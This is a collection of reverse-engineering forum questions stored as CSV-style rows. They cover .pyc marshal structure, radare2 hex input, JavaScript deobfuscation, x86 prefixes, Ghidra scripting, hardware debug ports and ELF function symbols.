+      *(_BYTE *)(result + 3) = 0;
+    }
+    else if ( v15 == 828102990 )
+    {
+      v14 = -1451795511;
+      if ( v17 )
+        v14 = -631113542;
+      if ( !v16 )
+        v14 = -1451795511;
+    }
+  }
+  return result;
+}
+
+" +['python']," Title: The structure of the Python's marshaled code object (or .pyc file)Body: Help me to decipher the Python's marshaled code object. The .pyc files are almost the same: The structure of .pyc files. + +I have: + +
    +
  1. The code object compiled from the source.
  2. +
  3. The marshaled representation of this code object.
  4. +
  5. The recursive disassembly of its (code object) code section.
  6. +
  7. All its fields values.
  8. +
+ +The main purpose: + +I want to find out, how the different code objects stored and referenced from each other. That is, how the links to the child code objects are stored? The module should have references to all its functions. The function should have references to all other functions, callable from it. Etc. Does Virtual Machine preserves the code object id, when storing it to the .pyc? I don't thinks so, because can't see ids in the .pyc file. + +For example, I have such instruction in the disassembled source: + +
LOAD_CONST        2 (<code object baz at 0x7f380995e5d0, file ""foo.py"", line 7>)
+
+ +Hence: + + + +I think, I will investigate by the gdb further, but maybe this approach (.pyc file deciphering) also will do the job. + +Current result: + +I used all this information for creating the next file: the first column is the binary representation of marshaled code object, the second is the meaning of each byte sequences, which I have determined already. + +
b'
+\xe3                    <don't know>
+\x00\x00\x00\x00        <foo.py: co_argcount: 0>
+\x00\x00\x00\x00        <foo.py: co_kwonlyargcount: 0>
+\x00\x00\x00\x00        <foo.py: co_nlocals: 0>
+\x03\x00\x00\x00        <foo.py: co_stacksize: 3>               
+@\x00\x00\x00           <foo.py: co_flags = '@' = 0x40 = 64>
+s.\x00\x00\x00          <foo.py: number of bytes for module instructions = '.' = 46>
+d\x00                   <foo.py: co_code:  0 LOAD_CONST        0 (1)
+Z\x00                   <foo.py: co_code:  2 STORE_NAME        0 (a)
+d\x01                   <foo.py: co_code:  4 LOAD_CONST        1 (2)
+Z\x01                   <foo.py: co_code:  6 STORE_NAME        1 (b)
+e\x00                   <foo.py: co_code:  8 LOAD_NAME         0 (a)
+e\x01                   <foo.py: co_code: 10 LOAD_NAME         1 (b)
+\x17\x00                <foo.py: co_code: 12 BINARY_ADD
+Z\x02                   <foo.py: co_code: 14 STORE_NAME        2 (c)
+d\x02                   <foo.py: co_code: 16 LOAD_CONST        2 (<code object baz at 0x7f380995e5d0, file ""foo.py"", line 7>)
+d\x03                   <foo.py: co_code: 18 LOAD_CONST        3 ('baz')
+\x84\x00                <foo.py: co_code: 20 MAKE_FUNCTION     0
+Z\x03                   <foo.py: co_code: 22 STORE_NAME        3 (baz)
+e\x03                   <foo.py: co_code: 24 LOAD_NAME         3 (baz)
+e\x00                   <foo.py: co_code: 26 LOAD_NAME         0 (a)
+e\x01                   <foo.py: co_code: 28 LOAD_NAME         1 (b)
+\x83\x02                <foo.py: co_code: 30 CALL_FUNCTION     2
+Z\x04                   <foo.py: co_code: 32 STORE_NAME        4 (multiplication)
+e\x04                   <foo.py: co_code: 34 LOAD_NAME         4 (multiplication)
+d\x01                   <foo.py: co_code: 36 LOAD_CONST        1 (2)
+\x13\x00                <foo.py: co_code: 38 BINARY_POWER
+Z\x05                   <foo.py: co_code: 40 STORE_NAME        5 (square)
+d\x04                   <foo.py: co_code: 42 LOAD_CONST        4 (None)
+S\x00                   <foo.py: co_code: 44 RETURN_VALUE
+)\x05                   <foo.py: co_const: size>
+\xe9\x01\x00\x00\x00    <foo.py: co_const[0]: 1>
+\xe9\x02\x00\x00\x00    <foo.py: co_const[1]: 2>
+c                       <TYPE_CODE>
+\x02\x00\x00\x00        <baz: co_argcount: 2>
+\x00\x00\x00\x00        <baz: co_kwonlyargcount: 0>
+\x02\x00\x00\x00        <baz: co_nlocals: 2>
+\x02\x00\x00\x00        <baz: co_stacksize: 2>               
+C\x00\x00\x00           <baz: co_flags = 'C' = 0x43 = 67>
+s\x08\x00\x00\x00       <baz: co_code: size = 8 bytes>
+|\x00                   <baz: co_code: 0 LOAD_FAST                0 (x) 
+|\x01                   <baz: co_code: 2 LOAD_FAST                1 (y) 
+\x14\x00                <baz: co_code: 4 BINARY_MULTIPLY                
+S\x00                   <baz: co_code: 6 RETURN_VALUE                   
+)\x01                   <baz: co_const: size>
+N                       <baz: co_const[0]: None>
+\xa9\x00                <don't know> 
+)\x02                   <baz: co_varnames: size>
+\xda\x01                <baz: number of characters of next item>
+x                       <baz: co_varnames[0]: x>
+\xda\x01                <baz: number of characters of next item>
+y                       <baz: co_varnames[1]: y>
+r\x03\x00\x00\x00       <baz: don't know. But the 'r' = 'TYPE_REF'>
+r\x03\x00\x00\x00       <baz: don't know. But the 'r' = 'TYPE_REF'>
+\xfa\x06                <baz: next item length>
+foo.py                  <baz: co_filename>
+\xda\x03                <baz: number of characters of next item>
+baz                     <baz: co_name: 'baz'>
+\x07\x00\x00\x00        <baz: co_firstlineno: 7>
+s\x02\x00\x00\x00       <baz: co_lnotab: size = 2 >
+\x00\x01                <baz: co_lnotab>
+r\x07\x00\x00\x00       <foo.py: co_const[3]: reference to baz>
+N                       <foo.py: co_const[4]: None>
+)\x06                   <foo.py: co_names: size> 
+\xda\x01                <foo.py: number of characters of next item>
+a                       <foo.py: co_names[0]: a>
+\xda\x01                <foo.py: number of characters of next item>
+b                       <foo.py: co_names[1]: b>
+\xda\x01                <foo.py: number of characters of next item>
+c                       <foo.py: co_names[2]: c>
+r\x07\x00\x00\x00       <foo.py: co_names[3]: reference to baz>
+Z\x0e                   <foo.py: number of characters of next item>
+multiplication          <foo.py: co_names[4]: multiplication>
+Z\x06                   <foo.py: number of characters of next item>
+square                  <foo.py: co_names[5]: square>
+r\x03\x00\x00\x00       <foo.py: don't know>     
+r\x03\x00\x00\x00       <foo.py: don't know>     
+r\x03\x00\x00\x00       <foo.py: don't know>     
+r\x06\x00\x00\x00       <foo.py: don't know>     
+\xda\x08                <foo.py: number of characters of next item>
+<module>                <foo.py: co_name>
+\x03\x00\x00\x00        <foo.py: co_firstlineno>
+s\n\x00\x00\x00         <foo.py: co_lnotab: size = '\n' = 0A>
+\x04\x01                <foo.py: o_lnotab> 
+\x04\x01                <foo.py: o_lnotab>
+\x08\x02                <foo.py: o_lnotab>
+\x08\x07                <foo.py: o_lnotab>
+\n\x01'                 <foo.py: o_lnotab>
+
+ +
+ +

Code snippets required for replication:

+ +1) The source code: foo.py + +
a = 1 
+b = 2 
+c = a + b 
+
+def baz(x,y):
+    return x * y
+
+multiplication = baz(a,b)
+square = multiplication ** 2
+
+ +2) The marshaled representation of foo.py. + +
source_py = ""foo.py""
+
+with open(source_py) as f_source:
+    source_code = f_source.read()
+
+code_obj_compile = compile(source_code, source_py, ""exec"")
+
+data = marshal.dumps(code_obj_compile)
+
+print(data)
+
+ +3) The full (recursive) disassembly of the code object. + +
import types
+
+dis.dis(code_obj_compile)
+
+for x in code_obj_compile.co_consts:
+    if isinstance(x, types.CodeType):
+        sub_byte_code = x
+        func_name = sub_byte_code.co_name
+        print('\nDisassembly of %s:' % func_name)
+        dis.dis(sub_byte_code)
+
+ +4) All code object's field values. + +
def print_co_obj_fields(code_obj):
+    # Iterating through all instance attributes
+    # and calling all having the 'co_' prefix
+    for name in dir(code_obj):
+        if name.startswith('co_'):
+            co_field = getattr(code_obj, name)
+            print(f'{name:<20} = {co_field}')
+
+print_co_obj_fields(code_obj_compile)
+
+" +"['radare2', 'hex']"," Title: Passing hex strings to Radare2Body: I can quickly test hex string arguments in gdb like this: + +
r $'\x61\x61\x61\x61'
+
+ +I'd like to do something similar in radare2 but all I can figure out is regular strings: + +
doo aaaa
+
+ +I tried this but the argument isn't interpreted as a hex string + +
doo $'\x61\x61\x61\x61'
+
+ +How can I format a hex string argument and pass it to doo? +" +"['functions', 'hash-functions']"," Title: Is it possible to build an equivalent function just looking at the input and output of the original function?Body: Imagine you are reverse engineering a software. This software uses a library, which is obfuscated and encrypted. The library contains a function, lets call it secret_function. This function is a pure function (i.e. it doesn't have any side effect and when called with the same arguments it returns always the same output). + +Assuming i can call secret_function how may times i want, with whichever arguments i want, but i can't peek at the implementation, is it possible to build an equivalent function in another language (python for example), only analyzing the input and output values? + +This is an example implementation of secret_function: + + + +
int secret_function(int a, int b) {
+    if (a == 234) {
+        return b*2 - a;
+    }
+    return a*b;
+}
+
+ +A way to archive this i thought of is to call the function with every possible argument, (in the example 2^32 * 2^32, assuming a 32 bit int) and store all of them, to return them based on the arguments, like a giant lookup table. But this doesn't seem very efficient, if at all possible. + +UPDATE: +You can assume that the function is working with fixed size arguments. So no strings or variable length arrays. +" +"['decompilation', 'deobfuscation', 'javascript']"," Title: deobfuscating/decompiling extremely complicated javascriptBody: I am working with some extremely complicated JavaScript. It is around 70,000 lines long and sections of the code look like this + +
U2xx.l11=""0x78920d50"";m2xx.r9G=""11"";b2xx.v3y=""0x744ebc37"";P2xx.K5h=""0x4949db92"";k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U=""0x88f07878"";v2xx.U0z=""10991"";h2xx.c0b=""2665"";U2xx.T11=""0xd52da96f"";I2xx.O2z=""10410"";v2xx.H2k=""450"";B2xx.L7n=0x88;E2xx.X4y=""0xe8"";j2xx.f4h=""0xd36ebdd3"";M2xx.o21=""0x30fa5520"";Z2xx.T4b=""6325"";F2xx.s4G=""9036"";G2xx.L2r=0xf46e5918;b2xx.X3y=""0xe11ce5ed"";h2xx.y0b=""8843"";Q2xx.H3Z=5152;b2xx.V7y=""0xe89c636e"";S2xx.v3b=""6598"";n2xx.E5y=""0x00000000"";K2xx.x90=""0x7f456253"";E2xx.J8y=""0x88"";i2xx.C70=""0x30f3dcb2"";Z2xx.X1b=""6970"";G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80=""0x9d342e53"";i2xx.j70=""0x937c69d0"";S2xx.a5b=""3997"";s2xx.l0t=""5261"";h2xx.C0b=""3278"";l2xx.a40=""0x0f9357e7"";
+
+ +I know the Javascript is used to generate cookies to authenticate post requests sent to a web server just I am struggling to figure out how with the extremely obfuscated variable names and values. + +Are there any tools that will help me reverse the hex values and present variables in a nice way? I have tried several tools like jsbeautify, jsnice and also Malzilla but to no effect. + +I have posted some more code below if this helps provide more context + +
U2xx.l11=""0x78920d50"";m2xx.r9G=""11"";b2xx.v3y=""0x744ebc37"";P2xx.K5h=""0x4949db92"";k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U=""0x88f07878"";v2xx.U0z=""10991"";h2xx.c0b=""2665"";U2xx.T11=""0xd52da96f"";I2xx.O2z=""10410"";v2xx.H2k=""450"";B2xx.L7n=0x88;E2xx.X4y=""0xe8"";j2xx.f4h=""0xd36ebdd3"";M2xx.o21=""0x30fa5520"";Z2xx.T4b=""6325"";F2xx.s4G=""9036"";G2xx.L2r=0xf46e5918;b2xx.X3y=""0xe11ce5ed"";h2xx.y0b=""8843"";Q2xx.H3Z=5152;b2xx.V7y=""0xe89c636e"";S2xx.v3b=""6598"";n2xx.E5y=""0x00000000"";K2xx.x90=""0x7f456253"";E2xx.J8y=""0x88"";i2xx.C70=""0x30f3dcb2"";Z2xx.X1b=""6970"";G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80=""0x9d342e53"";i2xx.j70=""0x937c69d0"";S2xx.a5b=""3997"";s2xx.l0t=""5261"";h2xx.C0b=""3278"";l2xx.a40=""0x0f9357e7"";T2xx.v8U=""0xd46a6abe"";k4vv.R1Q=12;h2xx.Z0b=""1877"";W2xx.v25=""10592"";C2xx.t5V=8003;u2xx.J8r=0x133c89eb;i2xx.n70=0xd1c1d938;r2xx.f6U=""0x3ddfe2e2"";T2xx.R8U=""0x81cdcd4c"";M2xx.x81=""0x082b94f9"";G2xx.r7h=""0xf8f813eb"";g2xx.P0n=""8406"";m2xx.B0G=""10723"";G2xx.i2r=0x6ee89c63;v2xx.y3z=""1856"";G2xx.G7h=""0x8e8e8907"";M2xx.C21=""0xb670d532"";W2xx.F1k=""8942"";M2xx.d30=""0xb3de080c"";n2xx.h9y=""0x7dce3ab4"";n2xx.T5y=""0x9357e70f"";u2xx.D8r=""0x766df6ad"";c2xx.n2h=""0x23654623"";I2xx.A3G=""1518"";j2xx.p4h=""0x4ed29c4e"";E2xx.h4y=""0x49"";Q2xx.K1Z=3071;s2xx.T9X=""4247"";F2xx.Y2G=""5246"";S2xx.A3b=""2091"";U2xx.C41=""0x1170ac1e"";m2xx.T0G=""65"";v2xx.M4z=""4129"";k2xx.l2y=""0x09"";j2xx.O1h=""0x61a3c261"";B2xx.O2U=""0x95c7c752"";b2xx.b7y=""0x119448fa"";E2xx.k4y=""0x62"";v2xx.J4z=""10974"";k4vv.c3Q=1694;s2xx.o1t=""2765"";O2xx.s51=""0x25f5024c"";I2xx.C3G=""3017"";K2xx.M60=""0x4c25f502"";a2xx.f01=""0xd2df599c"";b2xx.x3y=""0xef15e8e6"";n2xx.Z9y=""0xc920ac66"";c2xx.F3U=""0xc6844242"";a2xx.B01=""0x61c935b7"";Z2xx.S1b=""4646"";i2xx.u50=""0x198557f1"";Z2xx.J4b=""1"";h2xx.s6b=""887"";F2xx.d2G=""3715"";G2xx.d3h=0x7c420fe9;T2xx.x1U=""0x49a9a9e0"";i2xx.K50=""0xe70f9357"";B2xx.h7n=""4503"";v2xx.P7z=""4362"";i2xx.L50=""0x7e345bfb"";K2xx.v60=""0xa75051f4"";I2xx.Q3G=""5828"";M2xx.s30=""0x733f55f2"";j2xx.l4h=""0x0b1d160b"";Z2xx.G0W=10338;g2xx.K2n=""0xbccf0821"";U2xx.G41=""0x01269ff7"";a2xx.O91=0xbb6bae84;K2xx.b60=""0x58abacfa"";n2xx.l9y=""0xab73d323"";B2xx.E3n=0x22;r2xx.v9U=""0xd4984c4c"";h2xx.Q0b=""3534"";Y2xx.k40=""0xac1e1170"";S2xx.c5b=""5949"";W2xx.L95=""3660"";E2xx.D2y=0x4c;r2xx.h6U=""0x6a4c2626"";u2xx.g8r=""0xe67eaaff"";S2xx.j5b=""9122"";B2xx.k2U=""0x7e3f3f41"";function m2xx(){}c2xx.l3U=""0x7c84f87c"";Q2xx.Z2V=5246;k4vv.T7Q=1190;P2xx.l5h=0x0a0a1e14;m2xx.c1G=""3109"";u2xx.W6r=""4658"";v2xx.D0z=""72"";M2xx.p21=""0xe14fb6be"";l2xx.C00=""0x312a3f23"";r2xx.C0U=""0xaa5555ff"";m2xx.K6G=""8327"";m2xx.h6G=""631"";F2xx.c2G=""222"";f2xx.z5U=""0xe049a9a9"";P2xx.r6h=""0x1b1b2d36"";j2xx.N4h=""0xf407f3f4"";v2xx.q7z=""611"";T2xx.X8U=""0x70383848"";o2xx.Z0y=""0x54"";function P2xx(){}F2xx.T4G=""8772"";K2xx.d60=""0x3182e51a"";c2xx.Y3U=""0x63a5c663"";r2xx.Z0U=""0x50282878"";u2xx.B3r=""2074"";I2xx.E2z=""530"";i2xx.B50=""0xba0ae293"";m2xx.j0G=""4681"";Z2xx.b1b=""9055"";j2xx.Q0h=""0x42c68442"";g2xx.b31=0xf75e2e39;C2xx.x7V=8122;c2xx.P8h=""0xbcdf63bc"";U2xx.K41=""0x774b695a"";B2xx.P7n=0x9f;M2xx.I21=""0x275e963a"";b2xx.l3y=""0x764dd68d"";U2xx.I11=""0x494ec787"";i2xx.p50=""0x29768b43"";S2xx.G7b=""6532"";g2xx.p2n=""0x105633e9"";E2xx.E4y=0x91;s2xx.r7X=""2845"";G2xx.H7h=""0xe9e920c9"";m2xx.O0G=""3596"";P2xx.b9h=""0x3c3c4478"";I2xx.X8z=""2270"";F2xx.a4G=""7264"";B2xx.W3n=""0x45"";r2xx.V0U=0xc98e4747;c2xx.j2h=""0x2c74582c"";k2xx.M35=""0x30"";C2xx.a2W=8918;U2xx.H11=""0xffe67eaa"";f2xx.E9U=0x6bbbd0d0;G2xx.c2r=""0x640a0fd9"";C2xx.T3V=8596;U2xx.F41=0xaed51e3d;m2xx.T6G=""6469"";Z2xx.G4b=""562"";r2xx.w9U=""0x2cc1eded"";O2xx.E51=0xaa4060ef;k4vv.n9Q=450;M2xx.W21=""0x9d45f11f"";u2xx.R7r=""6825"";O2xx.l51=""0x3d96dd06"";Q2xx.j8V=5834;o2xx.D1y=""0x16"";E2xx.r4y=0xea;g2xx.b8n=""0xe9642247"";c2xx.B3U=""0x01030201"";B2xx.h2U=""0xe4727296"";O2xx.H71=""0x8af93e21"";F2xx.S4G=""9702"";c2xx.m8h=""0xd06bbbd0"";B2xx.V5n=""2734"";v2xx.d7z=""64"";h2xx.e6b=""1692"";G2xx.N3h=""0xc8ac993b"";Z2xx.u1b=""45"";k2xx.Q2y=""0x31"";l2xx.s00=""0x35b761c9"";Y2xx.T20=""0xd7c52acb"";v2xx.v2k=""2451"";Z2xx.K1b=""6832"";n2xx.H9y=""0x342e539d"";k2xx.z35=""0xcc"";k2xx.D35=""0x93"";i2xx.h30=""0xd81533a7"";s2xx.z1t=""2015"";n2xx.u5y=0xe293ba0a;m2xx.X6G=""8553"";I2xx.k8z=""9814"";i2xx.F30=0xdaf741ec;P2xx.A9h=""0x0c0c1418"";j2xx.p8h=""0x13352613"";f2xx.M7U=0x90e07070;P2xx.S6h=""0x31315362"";b2xx.T3y=""0x018c355d"";l2xx.O10=""0x26dab78e"";a2xx.Z01=""0x91f62f17"";c2xx.G3U=""0xca458fca"";O2xx.u51=""0x33e91056"";G2xx.X7h=""0x5555ffaa"";O2xx.G51=""0x7d854a24"";S2xx.I3b=""9418"";P2xx.D0h=""0xc0c05b9b"";j2xx.b0h=""0xf2f20dff"";g2xx.t9n=""871"";M2xx.r21=""0x4697a38d"";K2xx.n90=""0xc2032fb5"";G2xx.U3h=0x51f4a750;v2xx.V7z=""2912"";E2xx.v8y=""0x40"";function C2xx(){}h2xx.Y6b=""5232"";O2xx.L91=""0xe7038f5f"";r2xx.h9U=""0xbed46a6a"";c2xx.h3U=""0xda65bfbf"";M2xx.V21=""0x20ac66c9"";s2xx.P9X=""6648"";C2xx.z5V=8088;G2xx.i7h=""0x35355f6a"";i2xx.f70=""0xaff582c3"";Z2xx.U1b=""427"";r2xx.d6U=""0x68b9d1d1"";l2xx.k00=""0x0e7fcd50"";f2xx.f9U=""0xf3a25151"";B2xx.q5n=""1597"";f2xx.Y7U=""0xdd964b4b"";m2xx.l1G=""6966"";I2xx.a5G=""567"";i2xx.I50=""0x724e6c5a"";k4vv.y1Q=9;O2xx.h51=""0x5051f4a7"";j2xx.n4h=""0x143c2814"";k4vv.Q7Q=1023;E2xx.K4y=""0x37"";M2xx.h81=""0x7bf8b752"";s2xx.A8t=""6894"";C2xx.V3V=8703;b2xx.x7y=""0xb8e4f163"";G2xx.Y2r=0xaedd3e05;m2xx.p0G=""1921"";r2xx.w6U=""0x96e47272"";Q2xx.h7Z=4582;u2xx.C6r=""2576"";c2xx.X3U=""0xf00bfbf0"";k4vv.o3Q=1541;F2xx.u8G=""5712"";K2xx.w50=""0x5b38e719"";s2xx.w8t=4294967296;v2xx.j1z=""240"";l2xx.m10=""0xec0d8652"";m2xx.e0G=""8090"";Y2xx.p80=""0x51bd6e10"";k2xx.N35=0x3f;W2xx.l0k=""9685"";C2xx.I9V=7436;T2xx.I4U=""0x7a3d3d47"";b2xx.O3y=""0xc12c1fb8"";o2xx.D0y=0x62;k4vv.m8Z=2268;c2xx.G2h=""0x1b2d361b"";a2xx.p01=""0xe2250cbc"";h2xx.b0b=""8660"";k2xx.n2y=""0x27"";a2xx.l61=""0x73c737bf"";s2xx.v44=function (){return typeof s2xx.M44.w2P==='function'?s2xx.M44.w2P.apply(s2xx.M44,arguments):s2xx.M44.w2P;};k4vv.h6Q=127;U2xx.w11=0xc1e3d077;P2xx.E9h=""0x02020604"";o2xx.P0y=""0x67"";m2xx.W0G=""4616"";U2xx.d81=""0x420fe97c"";T2xx.M8U=""0xedfbfb16"";K2xx.u90=""0xec390b83"";b2xx.C20=""0xbce2250c"";l2xx.I10=0xd077c1e3;l2xx.g00=""0x2efb0b41"";G2xx.C7h=""0xe8e823cb"";s2xx.g2t=""3114"";I2xx.H7G=""4476"";G2xx.p5h=""0xeaea25cf"";l2xx.x00=""0xd629b07c"";m2xx.T9G=""6"";K2xx.m90=0x6c8794de;m2xx.Q6G=""8583"";Z2xx.n0W=10221;M2xx.d21=0x6bae84bb;v2xx.j7z=""6674"";W2xx.Q9k=""1798"";b2xx.n3y=0x41ecdaf7;h2xx.W0b=""6090"";G2xx.I3h=""0x90d8b8e8"";a2xx.D61=""0x1b9b919e"";W2xx.C4k=""5913"";I2xx.P5G=""10957"";s2xx.l0g=function(){var E0g;return{v0g:function(){return E0g=!E0g;},m0g:function(){return Math&&typeof Math.random==='function'&&Math.random();}};}
+
+" +"['disassembly', 'radare2', 'stack', 'dumping', 'stack-variables']"," Title: How to examine/edit stack memory contents using radare2 in debug mode?Body: How can i examine/edit stack contents using radare2, just like gdb ?
+Is there a way to examine memory using $rbp or $rsp register like below.
+x $rbp-10 <--- something like this which can dump from this particular offset.
+ +How do i change the memory contents during debugging ?
+example: something like set (address)=0xff +" +"['debugging', 'radare2']"," Title: How do I type in hex input into radare2 debug mode?Body:
#include<stdio.h>
+#include<stdlib.h>
+int main() {
+    puts(""Enter input: "");
+    char buf[100];
+    fgets(buf, 100, stdin);
+    printf(""%s"", buf);
+}
+
+ +Suppose I am debugging a program, such as the one above, where I need to type in some input. Usually, what radare2 does is that it will allow me to type in any ascii input whenever the program demands that I have user input, and it will look like the following: + +
Enter input: Hello
+Hello
+
+ +However, what if I need to type in hex input? Normally, if I wanted to use hex input for my program outside of radare2, I would use a command that looks like the following: + +
python -c ""print('\x48\x65\x6c\x6c\x6f')"" | ./program
+
+ +But if I am debugging the program with radare2 and use something like \x48\x65\x6c\x6c\x6f as the input, radare2 will literally interpret the backlash x as a string that looks like ""\x"" instead of interpreting the input as hexadecimal. How would I go about inputting hex while inside of radare2 properly? +" +"['binary-analysis', '.net']"," Title: View Array Type in dnSpyBody: I'm debugging a .NET application and see a declaration of a local array: + +
$ArrayType$$$BY05PAD $ArrayType$$$BY05PAD;
+
+ +I break on an instruction that uses data inside that (char*) array: + +
num9 = <Module>.strtoul(*(ref $ArrayType$$$BY05PAD + 4), null, 10);
+
+ +Before the call to strtoul, I want to show in a hex editor the contents of *(ref $ArrayType$$$BY05PAD + 4), but this is not a valid expression in the watch window and it doesn't appear as a local variable. How can I inspect raw field memory? +" +['x86']," Title: What's the effect of adding a REP(N(E)) prefix to a JMP instruction?Body: I'm attempting to reverse engineer an executable packer, and I'm a little stumped on this x86 instruction: + +
F2 EB F5    repne jmp short near ptr unk_88801B
+
+ +According to the Intel manual a repeat prefix is not supported on a 'jmp' instruction. Yet IDA, Ollydbg and Capstone decode this instruction as the above. + +This instruction appears in a section of code that is overlapped to obfuscate it, so I'm pretty certain the unsupported prefix is simply there to support the overlap. + +My question is how does the processor handle this instruction? Does it just ignore the prefix, throw an illegal instruction, or ignore the instruction entirely? +" +"['binary-analysis', 'python', 'binary', 'call-graph']"," Title: Best python framework/library for constructing the call-graph from binary?Body: So i have written a python tool using capstone that disassembles the code section of a ELF binary using capstone. + +now i want to also create and show the call-graph of this binary in a dot format, I tried googling but couldn't find how to do this with capstone or if its possible with it or not, i also heard about some other frameworks like radare2 and such but I'm still not sure which framework is good for this purpose + +so what do you guys suggest? how can i make the call-graph by using some framework in my own code? ( i don't want a tool for this, i already know there are tools/programs for this out there, and i dont want to copy their code for this i want to write my own) + +is it even possible with static analysis, meaning just by reading the file? considering some function calls might be indirect? ( i only need to do this using call and ret instructions) +" +"['binary', 'binary-format']"," Title: Decode C# binary serialization dataBody: I am trying to decode what seems to be simple C# binary serialization to disk: + +
    +
  1. https://github.com/malaterre/MMCPrivate/raw/master/sample1.raw
  2. +
  3. https://github.com/malaterre/MMCPrivate/raw/master/sample2.raw
  4. +
+ +I do not have access to the original DLL that generates this binary blob so I fail to understand how to process this file unless I have a full definition of all C# structures. If I had access to the original DLL I could reverse engineer the C# binary to find the structures, so how should I do in this case ? + +Code: + +
using System;
+using System.IO;
+using System.Collections;
+using System.Runtime.Serialization.Formatters.Binary;
+using System.Runtime.Serialization;
+
+public class Dump
+{
+    [STAThread]
+    static void Main() 
+    {
+        Deserialize();
+    }
+
+static void Deserialize() 
+{
+    // Declare the hashtable reference.
+    Hashtable addresses  = null;
+
+    // Open the file containing the data that you want to deserialize.
+    FileStream fs = new FileStream(""input.dat"", FileMode.Open);
+    try 
+    {
+        BinaryFormatter formatter = new BinaryFormatter();
+
+        // Deserialize the hashtable from the file and 
+        // assign the reference to the local variable.
+        addresses = (Hashtable) formatter.Deserialize(fs);
+    }
+    catch (SerializationException e) 
+    {
+        Console.WriteLine(""Failed to deserialize. Reason: "" + e.Message);
+        throw;
+    }
+    finally 
+    {
+        fs.Close();
+    }
+
+    // To prove that the table deserialized correctly, 
+    // display the key/value pairs.
+    foreach (DictionaryEntry de in addresses) 
+    {
+        Console.WriteLine(""{0} lives at {1}."", de.Key, de.Value);
+    }
+}
+}
+
+ +Leads to: + +
$ mono ./Dump.exe
+Failed to deserialize. Reason: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.
+
+Unhandled Exception:
+System.Runtime.Serialization.SerializationException: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.
+
+ +Reference: + + +" +"['ida', 'idapython', 'ida-plugin']"," Title: use ida python to add a remark when calling a function using registerBody: I want to add a remark for all non direct function calls. +e.g. say i have + +
mov EAX [functionEP]
+call EAX
+
+ +Assuming i have many such calls to various functions, I would like to run the debugger and every time there are calls to such function add a remark which states the real call address/function name so that it will be: + +
mov EAX [functionEP]
+call EAX ; functionName
+
+ +Is this possible? +" +"['python', 'java', 'ghidra']"," Title: Debugging Ghidra ScriptBody: I want to write a new script for ghidra to extract variuous information from the binary and store it to an external file for future management. I need to perform the analyisis with Ghidra Headless in order to put it in an analysis workflow with other tool. I can't found any guide/tutorial on how to correctly use eclpise to launch ghidra headless and run the current developing script. I had already installed the ghidraDev extension and it can correctly run Ghidra Gui +" +"['decompilation', 'deobfuscation', 'javascript']"," Title: De-obfuscating code ran through JScrambler 3x via Eval() functionsBody: I am relatively new to JS and de-obfuscation in general and I am having difficulties reversing some complicated JS. I know the code itself is obsfucated via jscrambler 3-4x and therefore is ran through the eval() function the same amount of times to reconstruct and execute the code. + +Are there any good sources around creating de-obfuscators in this context? it appears most sources I have looked at only talk about code being ran through the eval function once. + +Thank you for any help! +" +"['disassembly', 'debugging', 'emulation']"," Title: Finding the correct emulator for programming a renesas sh7722 processorBody: I have a question about reverse engineering a Roland gr-55 guitar synthesizer. I'm 90% sure the device uses a Renesas sh7722 processor as the main CPU, or at least one of the CPU's in the SH family. I first tried to disassemble the firmware binary using IDA, I then realized that IDA doesn't support the exact processor I have. On Renesas' website all the development tools are available along with a debugging emulator (E10A-USB emulator). My question is, am I able to use this emulator with my device? According to the user manual for the E10Aa-USB emulator (pg.31) the devices uses either a 14 pin or 36 pin connector which connects from the emulator to the user system or (gr-55 PCB board). According to the schematics for the Roland gr-55 (pg.34) top left corner of the page you can see a 24 pin connector labeled 24FLT-SM2-TB unpop for debug. So it seems the debugging port for the gr-55 is a 24 pin connector. So did the manufacture use their own custom emulator designed for just this board? Can there be multiple emulators for a processor, or is it that the main CPU is not a Renesas sh7722 and the E10A-USB is the wrong emulator. If the manufacture of the board did use their own custom emulator, is there any way to find and acquire the correct one? I'll post the schematics for the Roland GR-55 and the emulator user manual below. + +E10A-USB Emulator user manual Pg.31 + +Roland Gr-55 schematic service notes pg.34 + +the development tools for sh7722, (emulator is at bottom of list) + +Download link for the Roland GR-55 firmware + +Also on the board the 24 pin connector is not present, but it seems the outline for the connector is there for me to solder it to the board. So it seems if I find the right emulator I would have to solder on the 24 pin connector first. + +My main goal is to be able acquire all the right development software and equipment for this unit, learn the assembly language for this processor, and disable the checksum so i'm able to change the names of strings and maybe some other functions making the UI for this system 1000x more usable. + +If someone can clear this up for me I would greatly appreciate it. +" +['serial-communication']," Title: Help determining pinout for communications portBody: I have a Panasonic air conditioner that has a header on the mainboard that various optional (expensive) addon communications modules can connect into eg wifi + +The unit is a Panasonic Split system from the CU/CSZ20TKR range (however this connector is common across many of the panasonic series) + +I am wanting to see if I can connect to this port and control it over serial or similar once I determine what protocol it is using. RS232?, RS485? +I have been trying to determine what protocol this port uses to communicate with the addon modules that can be plugged into it and what the correct connections are. Once I have determined the correct pins and protocol I should be able to write a script that will do the communication. + +I have done some research and probing with multimeter (I don't have an oscilloscope currently) and located a circuit diagram for the header on the mainboard, + +What i have determined so far: + + + + + +Some of the modules available to plug into this port are: + + +" +"['windows', 'binary-analysis', 'decompilation', 'static-analysis', 'ghidra']"," Title: Can I define custom enum-type to be used in Ghidra as a data type?Body: I'm trying to learn Ghidra. Say, if it generated the following code for loading functions from an array of function names from gpfnCommCtrlAPI: + + + +I was able to retype gpfnCommCtrlAPI into char*[14] which made it quite readable: + + + +But then is it possible to retype g_pfnsUxCtrl, a pointer to an array of function pointers, (possibly with a custom enum) to make it a little bit more readable? Here's an example of how it looks now in case of g_pfnsUxCtrl[7]: + + + +PS. To understand what index 7 refers to in that case I need to go back to the gpfnCommCtrlAPI array, which may not be immediately available where g_pfnsUxCtrl[7] is used. + +PS2. In that case case, I manually renamed p_comctl32_HandleScrollCmd variable to make it more readable. +" +"['elf', 'objdump']"," Title: How do tools like objdump find names of functions and their start address in ELF binaries?Body: I have written a ELF parser that disassmbles the .text section using capstone + +my problem is that i dont know how can i segment the text section based on functions and print the name of the function just like the output of objdump -d + +because objdump outputs like this : + +0x01000 func1: + +0x01000 .. + +0x01001 .. + +how can i find out the name and start 